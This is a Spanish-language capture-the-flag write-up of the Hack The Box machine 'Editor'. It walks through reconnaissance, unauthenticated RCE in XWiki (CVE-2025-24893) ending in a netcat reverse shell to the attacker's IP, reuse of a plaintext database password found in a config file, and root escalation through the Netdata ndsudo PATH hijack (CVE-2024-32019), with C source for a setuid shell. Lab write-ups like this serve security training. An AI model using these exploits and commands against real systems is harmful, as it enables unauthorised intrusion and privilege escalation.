Editor – Hack The Box [Write Up]

La máquina Editor es una máquina fácil de HTB.

Resumen de conceptos trabajados:

-Reconocimiento básico -Enumeración web -Búsqueda de vulnerabilidades públicas -Explotación remota -Lateral movement / credenciales reutilizadas -Enumeración de privilegios -Escalada de privilegios local

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».

En este caso, cuando hice la máquina estaba dentro de las máquinas activas de HTB, por lo que por vpn me conecté al fichero lab_user.ovpn.

NUMERACIÓN -> ESCANEO DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos ante una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.80 -oG Escaneo

Sabemos por tanto que están abiertos los puertos 80 HTTP, 22 SSH y 8080 HTTP alternativo para servidores web y proxies.

Ahora lo que vamos a hacer es analizar qué servicios y versiones corren para esos puertos abiertos con el objetivo de poder analizar a detalle posibles vulnerabilidades.

Para ello lanzamos el siguiente comando:

nmap -sCV -p80,22,8080 10.10.11.80

Vemos la versión de ssh OpenSSH 8.9p1 (no vulnerable según exploit.db), puerto 8080 bajo servidor Jetty en su versión 10.0.20 (en principio no vulnerable) y puerto 80 donde se muestra el mensaje de una redirección fallido y por tanto nos requiere hacer Virtual Hosting modificando el archivo /etc/hosts con ese dominio e IP víctima para que el navegador con curl resuelva el nombre de dominio DNS hacia la IP de la máquina víctima.

CONFIGURACIÓN VIRTUAL HOST

Virtual Hosting en pentesting se usa cuando un servicio web en el puerto 80/443 no responde con contenido directamente a la IP, sino que requiere un dominio específico (por ejemplo nocturnal.htb o blog.thm). El paso técnico es editar el archivo /etc/hosts para asociar manualmente la IP de la máquina víctima con el dominio que la aplicación espera.

Así el navegador o herramientas como curl resuelven el nombre de dominio hacia la IP de la máquina y muestran el contenido correcto

Directamente desde consola puedes añadir la IP y dominio sin pasar por la edición en nano por ejemplo del archivo, lo puedes hacer con este comando:

echo "10.10.11.80 editor.htb" | sudo tee -a /etc/hosts

Aplicamos el virtual hosting para ver cómo responde el navegador, y vemos:

Se trata de una web enfocada en la programación de código y donde vemos un correo de contacto (contact@editor.htb), un enlace a documentación de la herramienta (http://wiki.editor.htb/xwiki/) y la descarga de la herramienta como asset bajo dos plataformas (Debian y Windows).

Antes de continuar a investigar por aquí, me gusta analizar potenciales directorios ocultos en navegación por fuzzing, ficheros ocultos, etc que puedan contener contraseñas, usuarios potenciales para entrar por ssh, etc.

No encuentro nada a nivel directorios o archivos:

Y mirando a nivel de subdominios con Gobuster vemos que wiki.editor.htb devuelve un 302 por lo que lo añadimos al etc hosts.

gobuster vhost -u http://editor.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Y el navegador ya nos responde con un página XWiki Debian versión 15.10.8:

Si analizamos la página, vemos a un editor/usuario llamado «Neal Bagwell» http://wiki.editor.htb/xwiki/bin/view/XWiki/neal donde si accedemos a su perfil, podemos ver su historial de cambios y fecha de creación del usuario:

EXPLOTACIÓN RCE

Si buscamos en Google si existe alguna vulnerabilidad conocida para esa versión, encontramos el CVE-2025-24893 Unauthenticated Remote Code Execution publicado en Offsec.

En resumen, viene a ser que, XWiki tiene un macro de búsqueda cuyo parámetro de texto se inserta sin sanitización adecuada en una construcción de la página; gracias a esto, un atacante puede inyectar código malicioso en forma de script Groovy dentro de la plantilla, logrando que el servidor ejecute código arbitrario.

Dicho de otra manera: el parámetro text en la funcionalidad de búsqueda se refleja dentro de un macro en el lado del servidor. Con la sintaxis correcta, podemos cerrar las etiquetas actuales e insertar un bloque {{groovy}}...{{/groovy}} que contenga comandos del sistema para que se ejecuten. XWiki soporta el lenguaje de scripting Groovy, lo que nos permite aprovecharlo para ejecutar comandos (RCE). Esta vulnerabilidad no requiere autenticación previa (cualquiera puede explotarla) y afecta a versiones de XWiki anteriores a 15.10.11, entre otras (nuestra versión 15.10.8 es vulnerable).

Encontramos por ejemplo un script en Python creado por el usuario gunzf0x que automatiza la explotación de CVE-2025-24893. Vamos a utilizar ese exploit para obtener ejecución remota en la máquina.

Lo descargamos ese script en nuestra Kali dentro de nuestra carpeta de la máquina, nos ponemos en escucha por netcat en el puerto 9001 y ejecutamos este comando:

python3 CVE-2025-24893.py -t 'http://wiki.editor.htb:8080' -c 'busybox nc 10.10.14.64 9001 -e /bin/bash'

Estamos dentro, somos el usuario xwiki y si listamos usuarios y directorios en home (donde suelen estar), vemos a oliver, que probablemente es el usuario “real” al que debemos acceder para obtener la flag de usuario. No vemos otros usuarios, así que oliver será nuestro siguiente objetivo.

Como no tenemos credenciales de oliver aún, necesitaremos enumerar archivos de configuración, credenciales y otros datos que podamos leer con el usuario actual (xwiki). Un enfoque común es buscar archivos de configuración de la aplicación web XWiki, ya que a menudo contienen contraseñas (por ejemplo, credenciales de base de datos). Sabemos que XWiki es una aplicación Java, por lo que es probable que sus archivos config estén en /etc/xwiki/ o en el directorio de la aplicación web.

XWiki utiliza Hibernate para la conexión a base de datos, y suele haber un archivo tipo hibernate.cfg.xml

Una vez encontrado, si tratamos de abrirlo para descubrir su contenido:

cat /etc/xwiki/hibernate.cfg.xml | grep -i "password"

este nos devuelve la contraseña: theEd1t0rTeam99

Ahora probamos a entrar por ssh con el usuario oliver y la pass theEd1t0rTeam99, y estamos dentro accediendo a la user flag.

ESCALADA DE PRIVILEGIOS A ROOT

Ahora que tenemos al usuario oliver y conseguimos la user flag, empezamos la fase de enumeración de privilegios.

Para ello vamos a comprobar permisos de sudo ejecutando sudo -l para ver si oliver puede ejecutar algo como root. En este caso, la salida indica que oliver no tiene permisos sudo configurados (ninguna entrada). Así que no hay una escalada directa por sudoers.

El siguiente paso que podríamos probar es el de buscar archivos SUID/SGID que son los binarios con bit SUID (o SGID) set, propiedad de root, que pueden ser vectores de escalada si son vulnerables. Usamos el comando:

find / -type f -perm -4000 -user root -print 2>/dev/null

Esto listará todos los ejecutables con SUID de root. La mayoría son cosas estándar del sistema (/usr/bin/passwd, /usr/bin/sudo, etc.), pero queremos ver si aparece algo raro.

Y efectivamente vemos este:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

Este binario ndsudo no es común; pertenece a Netdata, una herramienta de monitorización del sistema, y está en un directorio de Netdata. Que tenga el bit SUID significa que podría ejecutar acciones como root, por lo que nos anotamos este archivo.

Otra alternativa o pista de enumeración es buscar procesos/puertos locales y es que Netdata suele exponer un panel web en el puerto 19999 por defecto. Recordando nuestro escaneo inicial, ese puerto no aparecía abierto. Sin embargo, ahora que tenemos SSH, podemos inspeccionar los puertos locales de la máquina. Una forma es usar netstat o ss:

ss -tulpn | grep LISTEN

Efectivamente, vemos que hay un servicio en 127.0.0.1:19999 que corresponde a Netdata. Netdata es un sistema de monitorización en tiempo real que corre localmente (no expuesto directamente a red externa).

Para confirmarlo, podemos incluso redirigir ese puerto a nuestra máquina usando SSH (port forwarding local). Abrimos una nueva ventana de terminal en nuestra máquina y ejecutamos:

ssh -L 19999:127.0.0.1:19999 oliver@10.10.11.80

(Nos autenticamos con la contraseña de oliver). Esto hace que cualquier conexión a 127.0.0.1:19999 en nuestro equipo se túnelice a la máquina Editor al puerto 19999 local.

Ahora en nuestro navegador abrimos http://127.0.0.1:19999 y ta-chán: cargamos la interfaz web de Netdata de Editor. Inmediatamente, en el panel de Netdata aparece una advertencia de que la versión de Netdata está desactualizada (outdated). Esto es una pista clara de potenciales vulnerabilidades conocidas en esa versión.

Nota: Aunque en este caso descubrimos Netdata también mediante la búsqueda de SUID, quería mostrar el uso de port forwarding con SSH como técnica de enumeración. Esto es muy útil cuando servicios están bind en localhost; podemos acceder a ellos de forma segura a través del túnel SSH.

Análisis de ndsudo – Vulnerabilidad CVE-2024-32019

Regresamos al binario sospechoso: ndsudo. Por el nombre, suena a «Netdata sudo«; probablemente es un programa auxiliar que Netdata utiliza para ejecutar ciertas tareas privilegiadas de forma controlada. Dado que tiene SUID, si encontramos cómo abusarlo podríamos lograr root.

Investigamos en internet sobre Netdata ndsudo y encontramos una vulnerabilidad reciente identificada como CVE-2024-32019.

Esta es una vulnerabilidad de Local Privilege Escalation (LPE) que justamente afecta a ndsudo. En concreto, se trata de un problema de «Untrusted Search Path» (búsqueda de ejecutables en PATH no confiable).

¿Qué significa esto? ndsudo está diseñado para permitir a Netdata ejecutar ciertos comandos del sistema (por ejemplo, para obtener información de hardware) elevando privilegios. Sin embargo, no valida correctamente qué binarios ejecuta, confiando en la variable de entorno PATH.

Si ndsudo intenta ejecutar un comando del sistema (digamos nvme para listar discos NVMe) y nosotros logramos colarle un binario falso con ese nombre en un directorio que aparezca primero en PATH, ndsudo ejecutará nuestro binario malicioso con permisos de root.

Resumiendo el ataque:

1. Crear un ejecutable malicioso nombrado exactamente como uno de los comandos que ndsudo quiere usar (uno de ellos es nvme – utilizado para listar info de discos NVMe).
2. Colocar ese ejecutable en un directorio accesible por nosotros (por ejemplo, /tmp) y asegurarnos de que es ejecutable.
3. Modificar la variable de entorno PATH de forma que /tmp aparezca antes que las rutas legítimas del sistema.
4. Ejecutar ndsudo de modo que invoque el comando nvme. Entonces, en lugar de ejecutar el verdadero /usr/bin/nvme, ejecutará nuestra versión maliciosa que hemos plantado, y dado que ndsudo es SUID, nuestro binario correrá con UID 0 (root).

Este es uno de los ataques más comunes por búsqueda de ejecutables en rutas no confiables (CWE-426). No requiere corromper memoria ni nada complejo: simplemente aprovechar la prioridad de búsqueda en PATH para engaño/hijacking de la ejecución.

Explotación de ndsudo para Escalada a Root

Creamos el payload malicioso (nvme falso) escribiendo por ejemplo un breve programa en C que, al ejecutarse, cambie el UID/GID a 0 (root) y luego nos dé una shell.

Podemos hacer que abra una shell directamente o lanzar otra reverse shell. Por simplicidad, haremos que abra una shell interactiva local de root. El código exploit.c lo creamos en nuestro directorio de la máquina con nano incluyendo:

#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Este programa al ejecutarse se convertirá en root y luego invocará /bin/bash. Compilamos este programa con nombre nvme.

gcc exploit.c -o nvme

Lo hacemos de nuevo desde nuestra máquina kali así:

Obtendremos un binario nvme (de unos pocos KB). Ahora debemos transferir este archivo a la máquina Editor. Tenemos varias opciones: usar scp, ftp, montar un servidor HTTP local y usar wget en la víctima, etc. Ya que tenemos acceso por SSH con oliver, la manera más sencilla es SCP:

scp nvme oliver@editor.htb:/tmp/

Metemos la contraseña de oliver cuando la pida, y el archivo se cargará en /tmp de la máquina víctima.

Ahora, desde la shell SSH de oliver en Editor, hacemos lo siguiente:

• Verificar que el archivo llegó: ls -l /tmp/nvme. Debe estar allí. Le damos permisos de ejecución por si acaso: chmod +x /tmp/nvme

• Modificar el PATH: Queremos que /tmp sea lo primero en la búsqueda de ejecutables. Editamos la variable: export PATH=/tmp:$PATH

Con esto, al ejecutar comandos, el sistema buscará primero en /tmp antes que en rutas como /usr/bin. (Podemos confirmarlo con echo $PATH).

Ejecutamos ndsudo con el comando objetivo, ya que el comando que dispara la llamada a nvme es nvme-list. Así que ejecutamos el binario SUID completo pasando ese parámetro:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Al ejecutar esto, el binario ndsudo correrá con SUID. Internamente buscará nvme en el PATH, encontrará nuestro /tmp/nvme antes que el real, y lo ejecutará. Nuestro nvme elevador entonces nos dará una shell root 😃.

¡Y así es! Al correr el comando, de inmediato el prompt cambia y obtenemos confirmación de root. Por ejemplo, al hacer id ahora vemos groups=0(root):

(Nota: Cuando ejecutes /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list y te muestre el error nvme : not available in PATH, vuelve a ejecutar el comando scp nvme oliver@editor.htb:/tmp/ en tu Kali, y ya sí te funcionará al ejecutarlo otra vez).

Y ya solo nos queda navegar entre directorios hasta llegar a root flag.

RESUMEN DE LA MÁQUINA EDITOR

La máquina Editor comienza con un escaneo de puertos donde descubrimos que hay un servidor web en el puerto 80 que nos redirige a editor.htb. Al abrirlo, vemos que apenas hay contenido, pero en el código aparece la pista de un subdominio: wiki.editor.htb. Tras añadirlo en /etc/hosts, comprobamos que allí corre un servicio llamado XWiki. Buscando vulnerabilidades públicas de XWiki, encontramos que la versión instalada tiene un fallo crítico (CVE-2025-24893) que permite ejecutar comandos sin necesidad de estar logueados (RCE). Aprovechamos este bug con un exploit en Python y conseguimos ejecutar comandos en el servidor, logrando una reverse shell con el usuario del servicio xwiki. Ya dentro, investigamos los archivos de configuración de XWiki y descubrimos en hibernate.cfg.xml unas credenciales en texto claro. Probamos esa contraseña con el usuario del sistema oliver y funciona, así que nos conectamos por SSH y obtenemos la primera flag de usuario. Para escalar a root, revisamos permisos especiales y detectamos un binario de Netdata llamado ndsudo que tiene el bit SUID activado. Este binario es vulnerable (CVE-2024-32019) porque busca ejecutar programas confiando en la variable PATH. Creamos un binario malicioso llamado nvme en /tmp, lo ponemos antes en el PATH y ejecutamos ndsudo. El binario se ejecuta como root y nos abre una shell con todos los privilegios. Finalmente, leemos la flag de root y completamos la máquina.